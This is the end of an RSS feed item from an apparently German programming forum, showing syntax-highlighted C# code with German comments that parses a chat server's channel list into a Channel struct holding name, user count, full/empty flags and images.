#0000BB">StartsWith</span><span style="color: #007700">(</span><span style="color: #DD0000">"b\0"</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;entfernen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">parameters&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">parameters</span><span style="color: #007700">.</span><span style="color: #0000BB">Replace</span><span style="color: #007700">(</span><span style="color: #DD0000">"b\0"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">.Empty);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Wir&nbsp;splitten&nbsp;jetzt&nbsp;das&nbsp;\0<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">channelParameters&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">parameters</span><span style="color: #007700">.</span><span style="color: #0000BB">Split</span><span style="color: #007700">(</span><span style="color: #DD0000">'\0'</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/*&nbsp;In&nbsp;der&nbsp;ersten&nbsp;Stelle&nbsp;im&nbsp;Array&nbsp;befindet&nbsp;sich&nbsp;der&nbsp;Channelname&nbsp;und&nbsp;die&nbsp;Anzahl&nbsp;der&nbsp;Chatter,&nbsp;getrennt&nbsp;durch&nbsp;"\n"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Dann&nbsp;splitten&nbsp;wir&nbsp;das&nbsp;"\n"&nbsp;und&nbsp;die&nbsp;erste&nbsp;Stelle&nbsp;davon&nbsp;ist&nbsp;der&nbsp;Channelname<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string&nbsp;channelname&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">channelParameters</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Split</span><span style="color: #007700">(</span><span style="color: #DD0000">'\n'</span><span style="color: #007700">)&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Wenn&nbsp;der&nbsp;ChannelName&nbsp;"&nbsp;entspricht<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;(</span><span style="color: #0000BB">channelname&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">""")<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;Dann&nbsp;kriegt&nbsp;er&nbsp;den&nbsp;ursprünglichen&nbsp;Channelnamen&nbsp;und&nbsp;die&nbsp;Nummer<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;channelname&nbsp;=&nbsp;String.Format("</span><span style="color: #007700">{</span><span style="color: #0000BB">0</span><span style="color: #007700">}&nbsp;{</span><span style="color: #0000BB">1</span><span style="color: #007700">}</span><span style="color: #DD0000">",&nbsp;ChannelName,&nbsp;ChannelCount);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;erhöhe&nbsp;die&nbsp;Nummer&nbsp;um&nbsp;1<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ChannelCount++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;Wenn&nbsp;der&nbsp;ChannelName&nbsp;aber&nbsp;"&nbsp;</span><span style="color: #0000BB">enthält<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">else&nbsp;if&nbsp;(</span><span style="color: #0000BB">channelname</span><span style="color: #007700">.</span><span style="color: #0000BB">Contains</span><span style="color: #007700">(</span><span style="color: #DD0000">"""))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;Dann&nbsp;sieht&nbsp;es&nbsp;so&nbsp;aus:&nbsp;"</span><span style="color: #0000BB">5<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">*&nbsp;</span><span style="color: #0000BB">Das&nbsp;</span><span style="color: #DD0000">"&nbsp;ersetzen&nbsp;wir,&nbsp;erhalten&nbsp;somit&nbsp;die&nbsp;Nummer&nbsp;und&nbsp;der&nbsp;ChannelName&nbsp;ist&nbsp;der&nbsp;ursprüngliche&nbsp;Name&nbsp;und&nbsp;die&nbsp;Nummer<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;channelname&nbsp;=&nbsp;String.Format("</span><span style="color: #007700">{</span><span style="color: #0000BB">0</span><span style="color: #007700">}&nbsp;{</span><span style="color: #0000BB">1</span><span style="color: #007700">}</span><span style="color: #DD0000">",&nbsp;ChannelName,&nbsp;channelname.Replace("""</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">.Empty));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Wenn&nbsp;es&nbsp;ein&nbsp;neuer&nbsp;Channel&nbsp;ist,&nbsp;der&nbsp;mit&nbsp;dem&nbsp;alten&nbsp;nichts&nbsp;zu&nbsp;tun&nbsp;hat<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">else&nbsp;if&nbsp;(</span><span style="color: #0000BB">channelname&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">ChannelName</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Setze&nbsp;die&nbsp;Nummer&nbsp;auf&nbsp;den&nbsp;Standartwert<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ChannelCount&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ChannelName&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">channelname</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Ansonsten<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Globale&nbsp;Variable&nbsp;erhält&nbsp;den&nbsp;aktuellen&nbsp;Channelnamen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ChannelName&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">channelname</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Anzahl&nbsp;der&nbsp;Chatter&nbsp;bestimmen&nbsp;(s.o.)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;count&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">int</span><span style="color: #007700">.</span><span style="color: #0000BB">Parse</span><span style="color: #007700">(</span><span style="color: #0000BB">channelParameters</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Split</span><span style="color: #007700">(</span><span style="color: #DD0000">'\n'</span><span style="color: #007700">)&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Wenn&nbsp;ein&nbsp;Channel&nbsp;voll&nbsp;ist,&nbsp;wird&nbsp;in&nbsp;der&nbsp;vierten&nbsp;Stelle&nbsp;des&nbsp;Arrays&nbsp;das&nbsp;entsprechende&nbsp;Bild&nbsp;geliefert&nbsp;und&nbsp;wir&nbsp;prüfen,&nbsp;ob&nbsp;sich&nbsp;ein&nbsp;Teil&nbsp;davon&nbsp;dort&nbsp;befindet<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">bool&nbsp;isFull&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">channelParameters</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">3</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Contains</span><span style="color: #007700">(</span><span style="color: #DD0000">"full"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Wenn&nbsp;im&nbsp;Channel&nbsp;mehr&nbsp;als&nbsp;1&nbsp;Chatter&nbsp;ist,&nbsp;ist&nbsp;er&nbsp;nicht&nbsp;leer,&nbsp;ansonsten&nbsp;schon<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">bool&nbsp;isEmpty&nbsp;</span><span style="color: #007700">=&nbsp;!(</span><span style="color: #0000BB">count&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Format,&nbsp;wie&nbsp;der&nbsp;Channel&nbsp;angezeigt&nbsp;wird&nbsp;(i&nbsp;=&nbsp;italic,&nbsp;p&nbsp;=&nbsp;plain)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">char&nbsp;channelAppearanceFormatter&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">char</span><span style="color: #007700">.</span><span style="color: #0000BB">Parse</span><span style="color: #007700">(</span><span style="color: #0000BB">channelParameters</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;neue&nbsp;Liste&nbsp;initialisieren<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">List&lt;</span><span style="color: #0000BB">string</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">images&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;List&lt;</span><span style="color: #0000BB">string</span><span style="color: #007700">&gt;();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Pfad&nbsp;zur&nbsp;List&nbsp;hinzufügen,&nbsp;wenn&nbsp;es&nbsp;"pics"&nbsp;enthält<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;(</span><span style="color: #0000BB">channelParameters</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">3</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Contains</span><span style="color: #007700">(</span><span style="color: #DD0000">"pics"</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">images</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #0000BB">channelParameters</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">3</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Gebe&nbsp;Channel&nbsp;zurück<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">return&nbsp;new&nbsp;</span><span style="color: #0000BB">Channel</span><span style="color: #007700">(</span><span style="color: #0000BB">channelname</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">count</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">isFull</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">isEmpty</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">channelAppearanceFormatter</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">images</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">internal&nbsp;struct&nbsp;Channel<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">string&nbsp;_channelname</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">int&nbsp;_chatter</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">bool&nbsp;_isFull</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">bool&nbsp;_isEmpty</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">char&nbsp;_formatter</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;List&lt;</span><span style="color: #0000BB">string</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">_images</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">string&nbsp;ChannelName&nbsp;</span><span style="color: #007700">{&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">_channelname</span><span style="color: #007700">;&nbsp;}&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">int&nbsp;Chatter&nbsp;</span><span style="color: #007700">{&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">_chatter</span><span style="color: #007700">;&nbsp;}&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">bool&nbsp;isFull&nbsp;</span><span style="color: #007700">{&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">_isFull</span><span style="color: #007700">;&nbsp;}&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">bool&nbsp;isEmpty&nbsp;</span><span style="color: #007700">{&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">_isEmpty</span><span style="color: #007700">;&nbsp;}&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">char&nbsp;channelAppearanceFormatter&nbsp;</span><span style="color: #007700">{&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">_formatter</span><span style="color: #007700">;&nbsp;}&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;List&lt;</span><span style="color: #0000BB">string</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">Images&nbsp;</span><span style="color: #007700">{&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">_images</span><span style="color: #007700">;&nbsp;}&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">Channel</span><span style="color: #007700">(</span><span style="color: #0000BB">string&nbsp;name</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">int&nbsp;chatter</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">bool&nbsp;full</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">bool&nbsp;</span><span style="color: #007700">empty,&nbsp;</span><span style="color: #0000BB">char&nbsp;formatter</span><span style="color: #007700">,&nbsp;List&lt;</span><span style="color: #0000BB">string</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">channelImages</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">_channelname&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">name</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">_chatter&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">chatter</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">_isFull&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">full</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">_isEmpty&nbsp;</span><span style="color: #007700">=&nbsp;empty;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">_formatter&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">formatter</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">_images&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">channelImages</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Ja, hf und so.<br />
<br />
MfG</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Brainy</dc:creator>
			<guid isPermaLink="true">sourcecode-91/c-channellist-parsen-31745</guid>
		</item>
	</channel>
</rss>
